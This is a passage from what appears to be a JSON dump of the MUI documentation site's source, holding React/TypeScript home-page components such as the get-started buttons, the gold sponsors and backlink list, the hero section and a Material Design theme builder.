'absolute',\n              zIndex: 10,\n              transition: 'none !important',\n              ...(() => {\n                const containerRect = container.current.getBoundingClientRect();\n                const targetRect = data.target.getBoundingClientRect();\n                return {\n                  top: targetRect.top - containerRect.top,\n                  left: targetRect.left - containerRect.left,\n                  width: `${targetRect.width}px`,\n                  height: `${targetRect.height}px`,\n                };\n              })(),\n            }}\n          >\n            <Box\n              sx={{\n                bgcolor: '#0072E5',\n                borderTopLeftRadius: '2px',\n                borderTopRightRadius: '2px',\n                px: 0.5,\n                position: 'absolute',\n                top: 0,\n                transform: 'translateY(-100%)',\n                left: -1,\n              }}\n            >\n              <Typography\n                sx={{ color: '#fff', fontSize: '0.625rem', fontWeight: 500, display: 'block' }}\n              >\n                {data.name}\n              </Typography>\n            </Box>\n          </Box>\n        )}\n      </Box>\n    </PointerContext.Provider>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/GetStartedButtons.tsx",
    "content": "import * as React from 'react';\nimport copy from 'clipboard-copy';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport ContentCopyRounded from '@mui/icons-material/ContentCopyRounded';\nimport CheckRounded from '@mui/icons-material/CheckRounded';\nimport { Link } from '@mui/docs/Link';\nimport NpmCopyButton from 'docs/src/components/action/NpmCopyButton';\n\ninterface GetStartedButtonsProps extends BoxProps {\n  primaryLabel?: string;\n  primaryUrl: string;\n  primaryUrlTarget?: string;\n  secondaryLabel?: string;\n  secondaryUrl?: string;\n  secondaryUrlTarget?: string;\n  installation?: string;\n  altInstallation?: string;\n}\n\nexport default function GetStartedButtons(props: GetStartedButtonsProps) {\n  const [copied, setCopied] = React.useState(false);\n  const {\n    primaryLabel = 'Get started',\n    primaryUrl,\n    primaryUrlTarget = '_self',\n    secondaryLabel,\n    secondaryUrl,\n    secondaryUrlTarget = '_self',\n    installation,\n    altInstallation,\n    ...other\n  } = props;\n\n  const handleCopy = () => {\n    setCopied(true);\n    copy(installation!).then(() => {\n      setTimeout(() => setCopied(false), 2000);\n    });\n  };\n\n  return (\n    <React.Fragment>\n      <Box\n        {...other}\n        sx={{\n          display: 'flex',\n          flexWrap: { xs: 'wrap', md: 'nowrap' },\n          gap: 1.5,\n          '&& > *': {\n            minWidth: { xs: '100%', md: '0%' },\n          },\n          ...other.sx,\n        }}\n      >\n        <Button\n          href={primaryUrl}\n          component={Link}\n          target={primaryUrlTarget}\n          rel={primaryUrlTarget ? 'noopener' : ''}\n          noLinkStyle\n          variant=\"contained\"\n          endIcon={<KeyboardArrowRightRounded />}\n          sx={{ flexShrink: 0 }}\n        >\n          {primaryLabel}\n        </Button>\n        {installation ? (\n          <Button\n            // @ts-expect-error\n            variant=\"codeOutlined\"\n            endIcon={copied ? <CheckRounded color=\"primary\" /> : <ContentCopyRounded />}\n            onClick={handleCopy}\n            sx={{\n              maxWidth: '324px',\n              display: 'inline-block',\n              justifyContent: 'start',\n              overflowX: 'hidden',\n              whiteSpace: 'nowrap',\n              textOverflow: 'ellipsis',\n              position: 'relative',\n              pr: 5,\n            }}\n          >\n            {installation}\n          </Button>\n        ) : null}\n        {secondaryLabel ? (\n          <Button\n            href={secondaryUrl}\n            component={Link}\n            target={secondaryUrlTarget}\n            rel={secondaryUrlTarget ? 'noopener' : ''}\n            noLinkStyle\n            variant=\"outlined\"\n            color=\"secondary\"\n            endIcon={<KeyboardArrowRightRounded />}\n          >\n            {secondaryLabel}\n          </Button>\n        ) : null}\n      </Box>\n      {altInstallation && <NpmCopyButton installation={altInstallation} sx={{ mt: 2 }} />}\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/GoldSponsors.tsx",
    "content": "import { useInView } from 'react-intersection-observer';\nimport Paper from '@mui/material/Paper';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport AddRounded from '@mui/icons-material/AddRounded';\nimport Grid from '@mui/material/Grid';\nimport Box from '@mui/material/Box';\nimport SponsorCard from 'docs/src/components/home/SponsorCard';\nimport BacklinkSponsor from 'docs/src/components/home/BacklinkSponsor';\nimport { Link } from '@mui/docs/Link';\nimport ROUTES from 'docs/src/route';\n\nconst GOLDs = [\n  {\n    src: '/static/sponsors/tidelift.svg',\n    name: 'Tidelift',\n    description: 'Enterprise-ready open-source software.',\n    href: 'https://tidelift.com/',\n  },\n  {\n    src: 'https://images.opencollective.com/dialmycalls/f5ae9ab/avatar/40.png',\n    srcSet: 'https://images.opencollective.com/dialmycalls/f5ae9ab/avatar/120.png 3x',\n    name: 'DialMyCalls',\n    description: 'Send text messages, calls, and emails.',\n    href: 'https://www.dialmycalls.com/?utm_source=mui.com&utm_medium=referral&utm_content=homepage',\n  },\n  {\n    src: 'https://images.opencollective.com/react-pdf-kit/c8e1c25/logo/40.png',\n    srcSet: 'https://images.opencollective.com/react-pdf-kit/c8e1c25/logo/120.png 3x',\n    name: 'React PDF Kit',\n    description: 'Powerful, Fast, Dev-Friendly React PDF Viewer.',\n    href: 'https://www.react-pdf-kit.dev/?utm_source=mui.com&utm_medium=referral&utm_content=homepage',\n  },\n];\n\nconst BACKLINKs = [\n  {\n    name: 'Goread.io',\n    description: 'Instagram followers, likes, views, and comments.',\n    href: 'https://goread.io/?utm_source=mui.com&utm_medium=referral&utm_content=homepage',\n  },\n  {\n    name: 'Buzzoid',\n    description: 'Instant delivery Instagram followers.',\n    href: 'https://buzzoid.com/?utm_source=mui.com&utm_medium=referral&utm_content=homepage',\n  },\n  {\n    name: 'Twicsy',\n    description: 'Instant delivery Instagram followers.',\n    href: 'https://twicsy.com/?utm_source=mui.com&utm_medium=referral&utm_content=homepage',\n  },\n  {\n    name: 'Views4You',\n    description: 'Social media growth services.',\n    href: 'https://views4you.com/?utm_source=mui.com&utm_medium=referral&utm_content=homepage',\n  },\n  {\n    name: 'Poprey',\n    description: 'Buy Instagram likes with crypto.',\n    href: 'https://poprey.com/?utm_source=mui.com&utm_medium=referral&utm_content=homepage',\n  },\n  {\n    name: 'SocialWick',\n    description: 'Buy Instagram followers.',\n    href: 'https://www.socialwick.com/instagram/followers',\n  },\n  {\n    name: 'Follower24',\n    description: 'Social media success.',\n    href: 'https://www.follower24.de/?utm_source=mui.com&utm_medium=referral&utm_content=homepage',\n  },\n];\n\nexport default function GoldSponsors() {\n  const { ref, inView } = useInView({\n    triggerOnce: true,\n    threshold: 0,\n    rootMargin: '500px',\n  });\n  return (\n    <div ref={ref}>\n      <Typography\n        component=\"h3\"\n        variant=\"h6\"\n        sx={[\n          {\n            fontWeight: 'semiBold',\n          },\n          (theme) => ({\n            mt: 4,\n            mb: 1.5,\n            background: `linear-gradient(90deg, ${(theme.vars || theme).palette.warning[500]} 50%, ${\n              (theme.vars || theme).palette.warning[700]\n            } 100%)`,\n            WebkitBackgroundClip: 'text',\n            WebkitTextFillColor: 'transparent',\n            ...theme.applyDarkStyles({\n              background: `linear-gradient(90deg, ${\n                (theme.vars || theme).palette.warning[400]\n              } 50%, ${(theme.vars || theme).palette.warning[700]} 100%)`,\n              WebkitBackgroundClip: 'text',\n              WebkitTextFillColor: 'transparent',\n            }),\n          }),\n        ]}\n      >\n        Gold\n      </Typography>\n      <Grid container spacing={{ xs: 2, md: 3 }}>\n        {GOLDs.map((item) => (\n          <Grid key={item.name} size={{ xs: 12, sm: 6, md: 4, lg: 3 }}>\n            <SponsorCard inView={inView} item={item} />\n          </Grid>\n        ))}\n        <Grid size={{ xs: 12, sm: 6, md: 4, lg: 3 }}>\n          <Paper\n            variant=\"outlined\"\n            sx={{\n              p: 2,\n              height: '100%',\n              display: 'flex',\n              alignItems: 'center',\n              gap: 2,\n              borderStyle: 'dashed',\n            }}\n          >\n            <IconButton\n              aria-label=\"Sponsor MUI\"\n              component=\"a\"\n              href={ROUTES.goldSponsor}\n              target=\"_blank\"\n              rel=\"noopener\"\n              color=\"primary\"\n            >\n              <AddRounded />\n            </IconButton>\n            <div>\n              <Typography variant=\"body2\" sx={{ color: 'text.primary', fontWeight: 'semiBold' }}>\n                Become a sponsor\n              </Typography>\n              <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n                Find out how{' '}\n                <Link href={ROUTES.goldSponsor} target=\"_blank\" rel=\"noopener\">\n                  you can support MUI.\n                </Link>\n              </Typography>\n            </div>\n          </Paper>\n        </Grid>\n      </Grid>\n      <Box sx={{ maxWidth: 1000, mt: { xs: 2, md: 3 } }}>\n        {BACKLINKs.map((item, index) => (\n          <BacklinkSponsor key={index} item={item} />\n        ))}\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/Hero.tsx",
    "content": "import * as React from 'react';\nimport dynamic from 'next/dynamic';\nimport { useTheme } from '@mui/material/styles';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport GetStartedButtons from 'docs/src/components/home/GetStartedButtons';\nimport HeroContainer from 'docs/src/layouts/HeroContainer';\n\nfunction createLoading(sx: BoxProps['sx']) {\n  return function Loading() {\n    return (\n      <Box\n        sx={[\n          (theme) => ({\n            borderRadius: 1,\n            bgcolor: 'grey.100',\n            ...theme.applyDarkStyles({\n              bgcolor: 'primaryDark.800',\n            }),\n          }),\n          ...(Array.isArray(sx) ? sx : [sx]),\n        ]}\n      />\n    );\n  };\n}\n\nconst TaskCard = dynamic(() => import('../showcase/TaskCard'), {\n  ssr: false,\n  loading: createLoading({ width: 360, height: 280 }),\n});\nconst PlayerCard = dynamic(() => import('../showcase/PlayerCard'), {\n  ssr: false,\n  loading: createLoading({ width: 400, height: 134 }),\n});\nconst ThemeToggleButton = dynamic(() => import('../showcase/ThemeToggleButton'), {\n  ssr: false,\n  loading: createLoading({ width: 360, height: 48 }),\n});\nconst ThemeChip = dynamic(() => import('../showcase/ThemeChip'), {\n  ssr: false,\n  loading: createLoading({ width: 360, height: 24 }),\n});\nconst ThemeTimeline = dynamic(() => import('../showcase/ThemeTimeline'), {\n  ssr: false,\n  loading: createLoading({ width: 400, height: 175 }),\n});\nconst FolderTable = dynamic(() => import('../showcase/FolderTable'), {\n  ssr: false,\n  loading: createLoading({ width: 400, height: 294 }),\n});\nconst ThemeDatePicker = dynamic(() => import('../showcase/ThemeDatePicker'), {\n  ssr: false,\n  loading: createLoading({ width: 360, height: 245 }),\n});\nconst ThemeTabs = dynamic(() => import('../showcase/ThemeTabs'), {\n  ssr: false,\n  loading: createLoading({ width: { md: 360, xl: 400 }, height: 48 }),\n});\nconst ThemeSlider = dynamic(() => import('../showcase/ThemeSlider'), {\n  ssr: false,\n  loading: createLoading({ width: 400, height: 104 }),\n});\nconst ThemeAccordion = dynamic(() => import('../showcase/ThemeAccordion'), {\n  ssr: false,\n  loading: createLoading({ width: 360, height: 252 }),\n});\nconst NotificationCard = dynamic(() => import('../showcase/NotificationCard'), {\n  ssr: false,\n  loading: createLoading({ width: 360, height: 98 }),\n});\n\nexport default function Hero() {\n  const globalTheme = useTheme();\n  const isMdUp = useMediaQuery(globalTheme.breakpoints.up('md'));\n  return (\n    <HeroContainer\n      linearGradient\n      left={\n        <Box sx={{ textAlign: { xs: 'center', md: 'left' }, maxWidth: 500 }}>\n          <Typography variant=\"h1\" sx={{ mb: 1 }}>\n            <GradientText>Move faster</GradientText> <br />\n            with intuitive React UI tools\n          </Typography>\n          <Typography sx={{ color: 'text.secondary', mb: 3 }}>\n            MUI offers a comprehensive suite of free UI tools to help you ship new features faster.\n            Start with Material UI, our fully-loaded component library, or bring your own design\n            system to our production-ready components.\n          </Typography>\n          <GetStartedButtons primaryLabel=\"Discover the Core libraries\" primaryUrl=\"/core/\" />\n        </Box>\n      }\n      rightSx={{\n        p: 4,\n        ml: 2,\n        minWidth: 2000,\n        overflow: 'hidden', // the components in the Hero section are mostly illustrative, even though they're interactive. That's why scrolling is disabled.\n        '& > div': {\n          width: 360,\n          display: 'inline-flex',\n          verticalAlign: 'top',\n          '&:nth-of-type(2)': {\n            width: { xl: 400 },\n          },\n        },\n        '&& *': {\n          fontFamily: ['\"IBM Plex Sans\"', '-apple-system', 'BlinkMacSystemFont', 'sans-serif'].join(\n            ',',\n          ),\n        },\n      }}\n      right={\n        <React.Fragment>\n          {isMdUp && (\n            <Stack spacing={3} useFlexGap sx={{ '& > .MuiPaper-root': { maxWidth: 'none' } }}>\n              <TaskCard />\n              <ThemeChip />\n              <ThemeDatePicker />\n              <NotificationCard />\n              <ThemeAccordion />\n            </Stack>\n          )}\n          {isMdUp && (\n            <Stack\n              spacing={3}\n              useFlexGap\n              sx={{ ml: 3, '& > .MuiPaper-root': { maxWidth: 'none' } }}\n            >\n              <ThemeTimeline />\n              <ThemeToggleButton />\n              <ThemeSlider />\n              <ThemeTabs />\n              <PlayerCard />\n              <FolderTable />\n            </Stack>\n          )}\n        </React.Fragment>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/HeroEnd.tsx",
    "content": "import dynamic from 'next/dynamic';\nimport { useInView } from 'react-intersection-observer';\nimport Box from '@mui/material/Box';\nimport { alpha } from '@mui/material/styles';\nimport Section from 'docs/src/layouts/Section';\n\nfunction Placeholder() {\n  return (\n    <Box\n      sx={{\n        height: {\n          xs: 202,\n          sm: 180,\n          md: 193,\n        },\n      }}\n    />\n  );\n}\nconst StartToday = dynamic(() => import('./StartToday'), { loading: Placeholder });\n\nexport default function HeroEnd() {\n  const { ref, inView } = useInView({\n    triggerOnce: true,\n    threshold: 0,\n    rootMargin: '500px',\n  });\n  return (\n    <Box\n      ref={ref}\n      sx={(theme) => ({\n        background: `linear-gradient(180deg, #FFF 50%, ${(theme.vars || theme).palette.primary[50]} 100%)`,\n        ...theme.applyDarkStyles({\n          background: `linear-gradient(180deg, ${\n            (theme.vars || theme).palette.primaryDark[900]\n          } 50%, ${alpha(theme.palette.primary[900], 0.2)} 100%)`,\n        }),\n      })}\n    >\n      <Section bg=\"transparent\" cozy>\n        {inView ? <StartToday /> : <Placeholder />}\n      </Section>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/MaterialDesignComponents.tsx",
    "content": "import * as React from 'react';\nimport {\n  styled,\n  Theme,\n  ThemeOptions,\n  alpha,\n  extendTheme,\n  CssVarsProvider,\n} from '@mui/material/styles';\nimport { capitalize } from '@mui/material/utils';\nimport Alert from '@mui/material/Alert';\nimport Box from '@mui/material/Box';\nimport Button, { buttonClasses } from '@mui/material/Button';\nimport Chip from '@mui/material/Chip';\nimport Tabs from '@mui/material/Tabs';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport Paper from '@mui/material/Paper';\nimport Tab from '@mui/material/Tab';\nimport Table from '@mui/material/Table';\nimport TableBody from '@mui/material/TableBody';\nimport TableCell from '@mui/material/TableCell';\nimport TableContainer from '@mui/material/TableContainer';\nimport TableHead from '@mui/material/TableHead';\nimport TableRow from '@mui/material/TableRow';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport ShoppingCartRounded from '@mui/icons-material/ShoppingCartRounded';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport CheckCircleRounded from '@mui/icons-material/CheckCircleRounded';\nimport MailRounded from '@mui/icons-material/MailRounded';\nimport VerifiedUserRounded from '@mui/icons-material/VerifiedUserRounded';\nimport HelpCenterRounded from '@mui/icons-material/HelpCenterRounded';\nimport ROUTES from 'docs/src/route';\nimport { Link } from '@mui/docs/Link';\nimport { getDesignTokens, getThemedComponents } from '@mui/docs/branding';\n\nconst Grid = styled('div')(({ theme }) => [\n  {\n    borderRadius: (theme.vars || theme).shape.borderRadius,\n    backgroundColor: alpha(theme.palette.grey[50], 0.4),\n    display: 'grid',\n    gridTemplateColumns: '1fr',\n    gridAutoRows: 240,\n    [theme.breakpoints.up('sm')]: {\n      gridAutoRows: 260,\n      paddingTop: 1,\n      gridTemplateColumns: '1fr 1fr',\n    },\n    [theme.breakpoints.up('md')]: {\n      gridAutoRows: 280,\n      gridTemplateColumns: '1fr 1fr 1fr',\n    },\n    '& > div': {\n      padding: theme.spacing(2),\n      alignSelf: 'stretch',\n      border: '1px solid',\n      borderColor: (theme.vars || theme).palette.grey[200],\n      [theme.breakpoints.only('xs')]: {\n        '&:first-of-type': {\n          borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n          borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n        },\n        '&:last-of-type': {\n          borderBottomLeftRadius: (theme.vars || theme).shape.borderRadius,\n          borderBottomRightRadius: (theme.vars || theme).shape.borderRadius,\n        },\n        '&:not(:first-of-type)': {\n          marginTop: -1,\n        },\n      },\n      [theme.breakpoints.only('sm')]: {\n        marginTop: -1,\n        '&:first-of-type': {\n          borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n        },\n        '&:last-of-type': {\n          borderBottomRightRadius: (theme.vars || theme).shape.borderRadius,\n          borderStyle: 'dashed',\n        },\n        '&:nth-of-type(even)': {\n          marginLeft: -1,\n        },\n        '&:nth-last-of-type(2)': {\n          borderBottomLeftRadius: (theme.vars || theme).shape.borderRadius,\n        },\n        '&:nth-of-type(2)': {\n          borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n        },\n      },\n      [theme.breakpoints.up('md')]: {\n        marginTop: -1,\n        '&:not(:nth-of-type(3n + 1))': {\n          marginLeft: -1,\n        },\n        '&:first-of-type': {\n          borderTopLeftRadius: (theme.vars || theme).shape.borderRadius,\n        },\n        '&:last-of-type': {\n          borderBottomRightRadius: (theme.vars || theme).shape.borderRadius,\n        },\n        '&:nth-last-of-type(3)': {\n          borderBottomLeftRadius: (theme.vars || theme).shape.borderRadius,\n        },\n        '&:nth-of-type(3)': {\n          borderTopRightRadius: (theme.vars || theme).shape.borderRadius,\n        },\n      },\n    },\n  },\n  theme.applyDarkStyles({\n    backgroundColor: (theme.vars || theme).palette.background.paper,\n    '& > div': {\n      borderColor: alpha(theme.palette.primaryDark[600], 0.3),\n    },\n  }),\n]);\n\nfunction Demo({\n  name,\n  children,\n  control,\n  ...props\n}: {\n  name: string;\n  theme: Theme | undefined;\n  children: React.ReactElement<unknown>;\n  control?: { prop: string; values: Array<string>; defaultValue?: string };\n}) {\n  const [propValue, setPropValue] = React.useState(\n    control ? control.defaultValue || control.values[0] : '',\n  );\n  return (\n    <Box sx={{ display: 'flex', flexDirection: 'column', height: '100%' }}>\n      {control ? (\n        <Box sx={{ minHeight: 40, ml: -1, mt: -1 }}>\n          <Tabs\n            value={propValue}\n            onChange={(event, value) => setPropValue(value)}\n            sx={{\n              minHeight: 'initial',\n              '& .MuiTabs-indicator': {\n                bgcolor: 'transparent',\n                '&::before': {\n                  height: '100%',\n                  content: '\"\"',\n                  display: 'block',\n                  width: (theme) => `calc(100% - ${theme.spacing(2)})`,\n                  bgcolor: 'primary.main',\n                  position: 'absolute',\n                  top: 0,\n                  left: (theme) => theme.spacing(1),\n                },\n              },\n              '& .MuiTab-root': {\n                px: 1,\n                pt: 0.5,\n                minWidth: 'initial',\n                minHeight: 'initial',\n                fontWeight: 'medium',\n              },\n            }}\n          >\n            {control.values.map((value) => (\n              <Tab key={value} value={value} label={capitalize(value)} />\n            ))}\n          </Tabs>\n        </Box>\n      ) : null}\n      <Box\n        className=\"mui-default-theme\"\n        sx={{ flexGrow: 1, display: 'flex', alignItems: 'center', justifyContent: 'center' }}\n      >\n        <CssVarsProvider theme={props.theme}>\n          {React.cloneElement(children, {\n            ...(control && {\n              [control.prop]: propValue,\n            }),\n          })}\n        </CssVarsProvider>\n      </Box>\n      <Typography variant=\"body2\" sx={{ fontWeight: 'semiBold' }}>\n        {name}\n      </Typography>\n    </Box>\n  );\n}\n\nconst StyledChip = styled(Chip)(({ theme }) => [\n  {\n    fontWeight: 700,\n    '&.MuiChip-outlined': {\n      color: (theme.vars || theme).palette.text.secondary,\n    },\n    '&.MuiChip-filled': {\n      borderColor: (theme.vars || theme).palette.primary[300],\n      backgroundColor: alpha(theme.palette.primary[100], 0.5),\n      color: (theme.vars || theme).palette.primary[600],\n    },\n  },\n  theme.applyDarkStyles({\n    '&.MuiChip-filled': {\n      borderColor: (theme.vars || theme).palette.primary[500],\n      backgroundColor: (theme.vars || theme).palette.primary[800],\n      color: (theme.vars || theme).palette.primary[100],\n    },\n  }),\n]);\n\nconst themedComponents = getThemedComponents();\nexport function buildTheme(): ThemeOptions {\n  return {\n    components: {\n      MuiButtonBase: {\n        defaultProps: {\n          disableTouchRipple: true,\n        },\n      },\n      MuiButton: {\n        defaultProps: {\n          disableElevation: true,\n        },\n        styleOverrides: {\n          root: {\n            borderRadius: '99px',\n            fontWeight: 500,\n            fontSize: '0.875rem',\n            lineHeight: 24 / 16,\n            textTransform: 'none',\n            variants: [\n              {\n                props: { size: 'small' },\n                style: { [`& .${buttonClasses.icon}`]: { fontSize: '0.875rem' } },\n              },\n              {\n                props: { size: 'medium' },\n                style: { [`& .${buttonClasses.icon}`]: { fontSize: '0.875rem' } },\n              },\n              {\n                props: { size: 'large' },\n                style: { [`& .${buttonClasses.icon}`]: { fontSize: '1rem' } },\n              },\n            ],\n          },\n          sizeSmall: ({ theme }) => ({\n            padding: theme.spacing(0.5, 1),\n          }),\n          sizeMedium: ({ theme }) => ({\n            padding: theme.spacing(0.8, 2),\n          }),\n          sizeLarge: ({ theme }) => ({\n            padding: theme.spacing(1, 2),\n            fontSize: '1rem',\n          }),\n          text: ({ theme }) => ({\n            color: (theme.vars || theme).palette.primary[600],\n            ...theme.applyDarkStyles({\n              color: (theme.vars || theme).palette.primary[300],\n            }),\n          }),\n          contained: ({ theme }) => ({\n            color: (theme.vars || theme).palette.primaryDark[50],\n            backgroundColor: (theme.vars || theme).palette.primary[600],\n            boxShadow: '0 2px 0 rgba(255,255,255,0.1) inset, 0 -1px 0 rgba(0,0,0,0.1) inset',\n            border: '1px solid',\n            borderColor: (theme.vars || theme).palette.primary[600],\n            ...theme.applyDarkStyles({\n              backgroundColor: (theme.vars || theme).palette.primary[600],\n              borderColor: (theme.vars || theme).palette.primary[800],\n            }),\n          }),\n          outlined: ({ theme }) => ({\n            borderColor: (theme.vars || theme).palette.primary[300],\n            ...theme.applyDarkStyles({\n              color: (theme.vars || theme).palette.primary[300],\n              backgroundColor: alpha(theme.palette.primary[900], 0.1),\n              borderColor: alpha(theme.palette.primary[300], 0.5),\n            }),\n          }),\n        },\n      },\n      MuiAlert: {\n        defaultProps: {\n          icon: <CheckCircleRounded />,\n        },\n        styleOverrides: {\n          root: ({ theme }) => [\n            {\n              padding: theme.spacing(1.5),\n              '& .MuiAlert-icon': {\n                color: (theme.vars || theme).palette.primaryDark[800],\n              },\n              variants: [\n                {\n                  props: { variant: 'standard', color: 'info' },\n                  style: [\n                    {\n                      backgroundColor: (theme.vars || theme).palette.primary[50],\n                      color: (theme.vars || theme).palette.primary[600],\n                      border: '1px solid',\n                      borderColor: alpha(theme.palette.primaryDark[100], 0.5),\n                      '& .MuiAlert-icon': {\n                        color: (theme.vars || theme).palette.primary[500],\n                      },\n                    },\n                    theme.applyDarkStyles({\n                      backgroundColor: alpha(theme.palette.primaryDark[700], 0.5),\n                      color: (theme.vars || theme).palette.primaryDark[50],\n                      borderColor: alpha(theme.palette.primaryDark[500], 0.2),\n                      '& .MuiAlert-icon': {\n                        color: (theme.vars || theme).palette.primaryDark[50],\n                      },\n                    }),\n                  ],\n                },\n              ],\n            },\n            theme.applyDarkStyles({\n              '& .MuiAlert-icon': {\n                color: (theme.vars || theme).palette.primaryDark[100],\n              },\n            }),\n          ],\n          filled: ({ theme }) => ({\n            color: (theme.vars || theme).palette.primary[50],\n            backgroundColor: (theme.vars || theme).palette.primary[600],\n            '& .MuiAlert-icon': {\n              color: '#fff',\n            },\n            ...theme.applyDarkStyles({\n              backgroundColor: (theme.vars || theme).palette.primary[600],\n            }),\n          }),\n          outlined: ({ theme }) => [\n            {\n              color: (theme.vars || theme).palette.primaryDark[700],\n              backgroundColor: '#fff',\n              borderColor: (theme.vars || theme).palette.primary[100],\n              '& .MuiAlert-icon': {\n                color: (theme.vars || theme).palette.primary[500],\n              },\n            },\n            theme.applyDarkStyles({\n              color: (theme.vars || theme).palette.primaryDark[50],\n              backgroundColor: 'transparent',\n              borderColor: (theme.vars || theme).palette.primaryDark[600],\n              '& .MuiAlert-icon': {\n                color: (theme.vars || theme).palette.primaryDark[100],\n              },\n            }),\n          ],\n          message: {\n            padding: 0,\n            fontWeight: 500,\n          },\n          icon: {\n            paddingTop: 1,\n            paddingBottom: 0,\n            '& > svg': {\n              fontSize: '1.125rem',\n            },\n          },\n        },\n      },\n      MuiTextField: {\n        styleOverrides: {\n          root: ({ theme }) => [\n            {\n              '& .MuiInputLabel-outlined.Mui-focused': {\n                color: (theme.vars || theme).palette.grey[800],\n              },\n              '& .MuiOutlinedInput-root.Mui-focused .MuiOutlinedInput-notchedOutline': {\n                background: 'transparent',\n                borderColor: (theme.vars || theme).palette.primary[400],\n              },\n              '& .MuiOutlinedInput-root': {\n                backgroundColor: 'transparent',\n                borderColor: (theme.vars || theme).palette.grey[50],\n              },\n              '& .MuiInputBase-root': {\n                fontWeight: 700,\n                '&::before': {\n                  borderColor: (theme.vars || theme).palette.grey[300],\n                },\n              },\n              '& .MuiFilledInput-root': {\n                backgroundColor: '#fff',\n                border: '1px solid',\n                borderColor: (theme.vars || theme).palette.grey[100],\n                '&::before': {\n                  borderColor: (theme.vars || theme).palette.grey[300],\n                },\n                '&::after': {\n                  borderColor: (theme.vars || theme).palette.primary[400],\n                },\n                '&:hover': {\n                  borderColor: (theme.vars || theme).palette.grey[200],\n                },\n              },\n              '& .MuiInputLabel-filled.Mui-focused': {\n                color: (theme.vars || theme).palette.grey[800],\n              },\n              '& .MuiInput-root.Mui-focused': {\n                '&::after': {\n                  borderColor: (theme.vars || theme).palette.primary[400],\n                },\n              },\n              '& .MuiInputLabel-root.Mui-focused': {\n                color: (theme.vars || theme).palette.grey[800],\n              },\n            },\n            theme.applyDarkStyles({\n              '& .MuiInputBase-root': {\n                '&::before': {\n                  borderColor: (theme.vars || theme).palette.primaryDark[500],\n                },\n              },\n              '& .MuiInputLabel-outlined.Mui-focused': {\n                color: (theme.vars || theme).palette.primary[300],\n              },\n              '& .MuiOutlinedInput-root.Mui-focused .MuiOutlinedInput-notchedOutline': {\n                borderColor: (theme.vars || theme).palette.primary[300],\n              },\n              '& .MuiOutlinedInput-input': {\n                borderRadius: 'inherit',\n                backgroundColor: (theme.vars || theme).palette.primaryDark[800],\n              },\n              '& .MuiFilledInput-root': {\n                borderColor: (theme.vars || theme).palette.primaryDark[700],\n                backgroundColor: alpha(theme.palette.primaryDark[900], 0.5),\n                '&::after': {\n                  borderColor: (theme.vars || theme).palette.primary[300],\n                },\n                '&:hover': {\n                  backgroundColor: alpha(theme.palette.primaryDark[700], 0.8),\n                  borderColor: (theme.vars || theme).palette.primaryDark[600],\n                },\n              },\n              '& .MuiInputLabel-filled.Mui-focused': {\n                color: (theme.vars || theme).palette.grey[500],\n              },\n              '& .MuiInput-root.Mui-focused': {\n                '&::after': {\n                  borderColor: (theme.vars || theme).palette.primaryDark[400],\n                },\n              },\n              '& .MuiInputLabel-root.Mui-focused': {\n                color: (theme.vars || theme).palette.grey[500],\n              },\n            }),\n          ],\n        },\n      },\n      MuiTooltip: themedComponents.components?.MuiTooltip,\n      MuiPaper: themedComponents.components?.MuiPaper,\n      MuiTableHead: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            padding: 8,\n            backgroundColor: alpha(theme.palette.grey[50], 0.5),\n            borderColor: (theme.vars || theme).palette.divider,\n            ...theme.applyDarkStyles({\n              backgroundColor: alpha(theme.palette.primaryDark[700], 0.5),\n            }),\n          }),\n        },\n      },\n      MuiTableCell: {\n        styleOverrides: {\n          root: ({ theme }) => ({\n            padding: 8,\n            borderColor: (theme.vars || theme).palette.divider,\n          }),\n        },\n      },\n      MuiPopover: {\n        styleOverrides: {\n          paper: ({ theme }) => ({\n            boxShadow: '0px 4px 20px rgba(170, 180, 190, 0.3)',\n            ...theme.applyDarkStyles({\n              boxShadow: '0px 4px 20px rgba(0, 0, 0, 0.2)',\n            }),\n          }),\n        },\n      },\n      MuiMenu: {\n        styleOverrides: {\n          list: {\n            padding: 0,\n          },\n        },\n      },\n      MuiMenuItem: {\n        styleOverrides: {\n          root: ({ theme }) => [\n            {\n              margin: theme.spacing(1),\n              padding: '4px 8px',\n              borderRadius: '8px',\n              '& .MuiListItemIcon-root': {\n                minWidth: '24px',\n              },\n              '& svg': {\n                fontSize: '1rem',\n                color: (theme.vars || theme).palette.grey[500],\n              },\n            },\n            theme.applyDarkStyles({\n              '& svg': {\n                color: (theme.vars || theme).palette.grey[400],\n              },\n            }),\n          ],\n        },\n      },\n    },\n  };\n}\n\nconst { palette: lightPalette, typography, ...designTokens } = getDesignTokens('light');\nconst { palette: darkPalette } = getDesignTokens('dark');\nconst defaultTheme = extendTheme({\n  colorSchemes: { light: true, dark: true },\n  colorSchemeSelector: 'data-mui-color-scheme',\n});\nexport const customTheme = extendTheme({\n  cssVarPrefix: 'muidocs',\n  colorSchemeSelector: 'data-mui-color-scheme',\n  colorSchemes: {\n    light: {\n      palette: lightPalette,\n    },\n    dark: {\n      palette: darkPalette,\n    },\n  },\n  ...designTokens,\n  ...buildTheme(),\n});\n\nexport default function MaterialDesignComponents() {\n  const [anchor, setAnchor] = React.useState<HTMLElement | null>(null);\n  const 